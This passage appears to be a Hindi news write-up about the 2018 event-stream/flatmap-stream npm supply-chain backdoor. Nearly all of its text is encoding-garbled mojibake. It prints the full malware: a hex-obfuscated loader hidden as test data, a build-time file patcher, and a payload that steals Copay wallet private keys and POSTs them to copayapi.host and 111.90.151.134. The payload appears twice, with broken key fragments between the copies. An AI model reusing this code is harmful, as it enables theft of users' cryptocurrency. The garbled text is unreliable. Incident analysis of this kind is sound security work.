EventStream рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреА рдирд┐рд░реНрднрд░рддрд╛ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ



рдЗрд╡реЗрдВрдЯрд╕реНрдЯреНрд░реАрдо рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреА 1.9 рдорд┐рд▓рд┐рдпрди рд╕реЗ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдпрд╛рдВ рдПрдирдкреАрдПрдо рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рд╕рд╛рдкреНрддрд╛рд╣рд┐рдХ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЬрд╛рддреА рд╣реИрдВред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Node.JS рдореЗрдВ рдзрд╛рд░рд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рд░рд▓ рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдХрд╛рдо рдХреЗ рд▓рд┐рдП рдХрдИ рдмрдбрд╝реА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдиреНрдп рд▓реЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ, рдпрд╣ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдХрдкреНрд░рд┐рдп рдХреЛрдкреЗ рдХреНрд░рд┐рдкреНрдЯреЛ рд╡реЙрд▓реЗрдЯ (рд╣рд╛рд▓рд╛рдВрдХрд┐, рдмрд╛рдж рдореЗрдВ рдФрд░ рдЕрдзрд┐рдХ) рдореЗрдВ рдзрд╛рд░рд╛рдУрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреА рд╣реИред

21 рдирд╡рдВрдмрд░, 2018 рдХреЛ рдПрдХ рд╡рд┐рдЪрд┐рддреНрд░ рдмрд╛рдд рд╣реБрдИред GitHub рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ @FallingSnow рдиреЗ рдмрддрд╛рдпрд╛ рдХрд┐ рдИрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЫрд┐рдкрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдЬреНрдЮрд╛рдд рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рдПрдХ рдмреИрдХрдбреЛрд░ рд╣реИред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рд▓рдЧреЗ рдХрд┐ рдпрд╣ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХрд╣рд╛рдВ рд╕реЗ рдЖрдпрд╛ рд╣реИред рдпрд╣ рдмрд╣реБрдд рд╣реА рд░реЛрдЪрдХ рдФрд░ рд╢рд┐рдХреНрд╖рд╛рдкреНрд░рдж рдХрд╣рд╛рдиреА рд╣реИред рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдХрдИ рдУрдкрди-рд╕реЛрд░реНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рджреАрд░реНрдШрдХрд╛рд▓рд┐рдХ рдкрд░рд┐рдгрд╛рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред

рд▓рд┐рд╣рд╛рдЬрд╛, рдЬрд╛рдВрдЪ рд╢реБрд░реВ рд╣реЛ рдЧрдИ рд╣реИред GitHub рдкрд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЗрддрд┐рд╣рд╛рд╕ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рддреБрд░рдВрдд рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЧрдпрд╛ рдХрд┐ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ @ right9ctrl рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ , рдЬрд┐рд╕реЗ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдХреЗ рд▓рд┐рдП рдЕрдиреБрдЪрд░ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдереЗ ред рдЙрдирдХреЗ рдЦрд╛рддреЗ рдореЗрдВ рдХрдИ рд╕рд╛рдорд╛рдиреНрдп рдЖрд╡рд╛рдЧрдорди рд╣реИрдВ , рдФрд░ рдкрд░рд┐рдпреЛрдЬрдирд╛ рд▓реЗрдЦрдХ рдбреЙрдорд┐рдирд┐рдХ рдХреИрд░ ( @dominictarr ) рдиреЗ рдЙрдиреНрд╣реЗрдВ рдЕрдиреБрдЪрд░ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ред

рд▓реЗрдЦрдХ рдиреЗ рдЕрдиреБрдЪрд░ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдПрдХ рдкреВрд░реНрдг рдЕрдЬрдирдмреА рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХреНрдпреЛрдВ рдХрд┐рдпрд╛? рдбреЛрдорд┐рдирд┐рдХ рдЦреБрдж рдХрд╣рддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ рдЗрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдмреЛрдЭ рд╣реИрдВред рдЗрд╕ рдШрдЯрдирд╛ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддреГрдд рдФрдЪрд┐рддреНрдп рджреЗрдЦреЗрдВ: рд▓реЗрдЦрдХ рд▓рд┐рдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдЖрдо рддреМрд░ рдкрд░ рдЦреБрд╢реА рдХреЗ рд▓рд┐рдП рдкрд░рд┐рдпреЛрдЬрдирд╛ рдмрдирд╛рдИ рдереА рдФрд░ рдпрд╣ рдирд╣реАрдВ рд╕реЛрдЪрд╛ рдерд╛ рдХрд┐ рдЗрд╕рдХреЗ рд╕рдорд░реНрдерди рдореЗрдВ рдЗрддрдирд╛ рд╕рдордп рд▓рдЧреЗрдЧрд╛, рдФрд░ рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╕реНрд╡рдпрдВ рдЗрддрдиреЗ рдЧрдВрднреАрд░ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдерд╛ред рд╡рд╣ рдЗрд╕ рдШрдЯрдирд╛ рдХреЗ рд▓рд┐рдП рдЦреБрдж рдХреЛ рджреЛрд╖ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрд╣рддрд╛ рд╣реИ рдХрд┐ рдУрдкрди-рд╕реЛрд░реНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЙрд╕рдХреА "рд╕рдВрдкрддреНрддрд┐" рдирд╣реАрдВ рд╣реИ, рдпрд╣ рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдбреЛрдореЗрди рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЬреЛ рд╣реБрдЖ рдЙрд╕рдХреЗ рд▓рд┐рдП рд╣рд░ рдХреЛрдИ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред рдЖрдЦрд┐рд░рдХрд╛рд░, рд╕рд╛рдорд╛рдиреНрдп рд▓реЛрдЧреЛрдВ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдиреЗ рднреА рдЕрдиреБрдЪрд░ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдХреНрдпреЛрдВ рдирд╣реАрдВ рд▓рд┐рдпрд╛ рдФрд░ рдХрдорд┐рдЯ рдХрд╛ рдСрдбрд┐рдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛?

рдЙрд▓реНрд▓рд┐рдЦрд┐рдд @ right9ctrl рдХрдорд┐рдЯ рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛рдПрдВред рдЪрд╛рд▓ рдпрд╣ рд╣реИ рдХрд┐ рдЙрд╕рдиреЗ рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдХреЛ рд╕реАрдзреЗ event-stream рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рджреВрд╕рд░реЗ рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдкреИрдХреЗрдЬ рдкрд░ рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рд╣реИред рдкрд╣рд▓реЗ рд╕реЗ рд╣реА, рдПрдХ рдкрд░реАрдХреНрд╖рдг рдбреЗрдЯрд╛ рд╕реЗрдЯ (рдкрд░реАрдХреНрд╖рдг / data.js) рдХреА рдЖрдбрд╝ рдореЗрдВ, рдЪрд░ рдореЗрдВ рд╕реЗ рдПрдХ рдореЗрдВ рдирд┐рдореНрди рд╕рд╛рдордЧреНрд░реА рдХрд╛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛:

рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ
 // var r = require, t = process; // function e(r) { // return Buffer.from(r, "hex").toString() // } function decode(data) { return Buffer.from(data, "hex").toString() } // var n = r(e("2e2f746573742f64617461")), // var n = require(decode("2e2f746573742f64617461")) // var n = require('./test/data') var n = ["","","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"] // o = t[e(n[3])][e(n[4])]; // npm_package_description = process[decode(n[3])][decode(n[4])]; // npm_package_description = process['env']['npm_package_description']; npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key) // if (!o) return; if (!npm_package_description) return; // var u = r(e(n[2]))[e(n[6])](e(n[5]), o), // var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description), var decipher = require('crypto')['createDecipher']('aes256', npm_package_description), // a = u.update(n[0], e(n[8]), e(n[9])); // decoded = decipher.update(n[0], e(n[8]), e(n[9])); decoded = decipher.update(n[0], 'hex', 'utf8'); console.log(n); // IDK why this is here... // a += u.final(e(n[9])); decoded += decipher.final('utf8'); // var f = new module.constructor; var newModule = new module.constructor; /**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/ // f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) // newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1]) // newModule.paths = module.paths // newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename) // newModule.exports(n[1]) 

рдЪрд░ n "рдбрд┐рдХреЛрдбрд┐рдВрдЧ" рдХреЗ рдмрд╛рдж n рдЪрд┐рддреНрд░ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ ред

рдЖрд░рдВрднрд┐рдХ рдмреВрдЯ
 /*@@*/ module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} }; 

рджреВрд╕рд░рд╛ рдЪрд░рдг
 /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); \\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \\ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

рдбрд┐рдмреЛрдлрд┐рдХреЗрд╢рди рдХреЗ рдмрд╛рдж, рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЧрдИ ред рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдпрд╣ рдХреЗрд╡рд▓ рддрднреА рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм рд╕рд┐рд╕реНрдЯрдо ( copay-dash рдкреИрдХреЗрдЬ) рдореЗрдВ рдПрдХ рдХреЛрдкреЗ рдХреНрд░рд┐рдкреНрдЯреЛ рд╡реЙрд▓реЗрдЯ рд╣реЛред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдирд┐рдЬреА рдкрд░реНрд╕ рдХреЛ рдХреЙрдкреА рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдорд▓реЗрд╢рд┐рдпрд╛ рдореЗрдВ рдЖрдИрдкреА рдкрддреЗ рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред

рдХреЛрдкреЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдиреЗ рдПрдХ рдЬрд╛рдВрдЪ рдХреА рдФрд░ рдкрд╛рдпрд╛ рдХрд┐ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ 5.0.2 рд╕реЗ 5.1.0 рддрдХ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдмрдЯреБрдП рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЧрд┐рд░ рдЧрдпрд╛ред 27 рдирд╡рдВрдмрд░, 2018 рдХреЛ, рдЙрдиреНрд╣реЛрдВрдиреЗ рддреБрд░рдВрдд рдПрдХ рдЕрджреНрдпрддрди рд╕рдВрд╕реНрдХрд░рдг 5.2.0 рдЬрд╛рд░реА рдХрд┐рдпрд╛ред

рд╣рдорд▓рд╛рд╡рд░ @ right9ctrl рдиреЗ рди рдХреЗрд╡рд▓ рдПрдХ рдмреИрдХрдбреЛрд░ рдЬреЛрдбрд╝рд╛, рдмрд▓реНрдХрд┐ рдЙрд╕рдХреА рдкрдЯрд░рд┐рдпреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдХреА рднреА рдХреЛрд╢рд┐рд╢ рдХреАред рддреАрди рджрд┐рди рдмрд╛рдж, рдЙрд╕рдиреЗ flatmap-stream рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд╣рдЯрд╛ рджрд┐рдпрд╛, рд╕рдВрд╕реНрдХрд░рдг рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛, рдФрд░ рдкреБрд░рд╛рдиреЗ рдХреЛ рдПрдирдкреАрдПрдо рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкреИрдХреЗрдЬ рдХреЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдХреЛрдИ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдирд╣реАрдВ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣рдЬрд╛рд░реЛрдВ рдХрд╛рд░реЛрдВ рдХреЛ рдмреЗрдЪ рдЪреБрдХрд╛ рд╣реИ, рдЬреЛ рдХрд┐ рд▓рдХреНрд╖реНрдп рдерд╛ред рдпрд╣ рд╡рд┐рдзрд┐ рдмрд╣реБрдд рд╕рдлрд▓ рд░рд╣реА, рдЗрд╕ рддрдереНрдп рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЛ рддреБрд░рдВрдд рдЦреЛрдЬрд╛ рдирд╣реАрдВ рдЧрдпрд╛ рдерд╛ред

рдпрд╣ рдЕрднреА рднреА рдЕрдЬреНрдЮрд╛рдд рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рддрдирд╛ рдкреИрд╕рд╛ рдХрдорд╛рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣рд╛, рд▓реЗрдХрд┐рди рдпрд╣ рд╣рдорд▓рд╛ рдУрдкрди-рд╕реЛрд░реНрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ рдмреИрдХрдбреЛрд░ рдХреЛ рдкреЗрд╢ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреА рдкреНрд░рдореБрдЦ рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддрд╛ рд╣реИред рдЬрд╛рд╣рд┐рд░ рд╣реИ, рдпрд╣ рдЖрдЦрд┐рд░реА рдРрд╕рд╛ рдорд╛рдорд▓рд╛ рдирд╣реАрдВ рд╣реИред рдпрд╣ рднреА рдкреНрд░рднрд╛рд╡рд┐рдд EventStream рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рд▓реЗрдЦрдХ рдбреЙрдорд┐рдирд┐рдХ рдХреИрд░ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ : "рдЖрдкрдХреЗ рдЖрд╢реНрд░рд┐рдд рдкреЗрдбрд╝реЛрдВ рдореЗрдВ рд╕рдВрднрд╡рддрдГ рдХрдИ рдЕрдиреНрдп рдореЙрдбреНрдпреВрд▓ рд╣реЛрдВрдЧреЗ рдЬреЛ рдЕрдм рдЙрдирдХреЗ рд▓реЗрдЦрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдмреЛрдЭ рдмрди рдЬрд╛рдПрдВрдЧреЗ" - рдФрд░ рдЗрди "рдмреЛрдЭ" рдореЙрдбреНрдпреВрд▓ рдХреЛ рдЕрдиреНрдп рдЕрдиреБрд░рдХреНрд╖рдХреЛрдВ рдХреЛ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдореЗрдВ рд╣реБрдЖ рд╣реИред рдорд╛рдорд▓рд╛, рдпрд╛ рдкреИрд╕реЗ рдХреЗ рд▓рд┐рдП рднреА рдмреЗрдЪ рджрд┐рдпрд╛ред рдЪреВрдВрдХрд┐ рдирд┐рд░реНрднрд░рддрд╛рдПрдВ рд╕реИрдХрдбрд╝реЛрдВ рдФрд░ рд╣рдЬрд╛рд░реЛрдВ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдореЗрдВ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдХреБрдЫ рдЫреЛрдЯреЗ рдореЙрдбреНрдпреВрд▓ рдмрдбрд╝реА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рд╕реНрд░реЛрдд рдмрди рд╕рдХрддреЗ рд╣реИрдВред

рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рд▓реЗрдЦрдХ рдХреЛ рдПрдХ рдкреВрд░реНрдг рдЕрдЬрдирдмреА рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреНрдпреЛрдВ рд╣рд╕реНрддрд╛рдВрддрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИ?

"рдЕрдЧрд░ рдпрд╣ рдЕрдм рдордЬрд╝реЗрджрд╛рд░ рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рд▓реЛрдХрдкреНрд░рд┐рдп рдкреИрдХреЗрдЬ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╕реЗ рд╢рд╛рдмреНрджрд┐рдХ рд░реВрдк рд╕реЗ рдХреБрдЫ рднреА рдирд╣реАрдВ рдорд┐рд▓рддрд╛ рд╣реИ," рдбреЛрдорд┐рдирд┐рдХ рдХреИрд░ рдХрд╣рддреЗ рд╣реИрдВред - рдЗрд╕рд▓рд┐рдП, рдЕрдм рд╣рдо рдПрдХ рдЕрдЬреАрдм рдШрд╛рдЯреА рдореЗрдВ рд╣реИрдВ, рдЬрд╣рд╛рдБ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡реНрдпрд╕рдиреЛрдВ рдХрд╛ рдПрдХ рд╕рдореВрд╣ рд╣реИ рдЬреЛ рдЙрди рд▓реЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рд╣реИрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рд░реБрдЪрд┐ рдЦреЛ рджреА рд╣реИ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдлреАрдХрд╛ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдФрд░ рдЬреЛ рд╕реНрд╡рдпрдВ рдЕрдм рдЙрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ ред рдЖрдк рдЖрд╕рд╛рдиреА рд╕реЗ рдХреЛрдб рд╕рд╛рдЭрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреЛрдИ рднреА рдЗрд╕ рдХреЛрдб рдХреЛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рд╕рд╛рдЭрд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред "рдЬреИрд╕реЗ рдПрдХ рдореЙрдбреНрдпреВрд▓ рдПрдХ 